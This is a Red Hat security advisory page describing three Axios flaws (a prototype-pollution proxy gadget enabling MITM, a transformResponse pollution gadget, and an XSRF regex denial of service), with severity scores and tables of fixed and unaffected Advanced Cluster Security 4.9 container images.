A flaw was found in Axios. This vulnerability, a Prototype Pollution "Gadget" attack, allows an attacker to escalate any existing Object.prototype pollution in an application's dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.
8.7 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
7.0 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
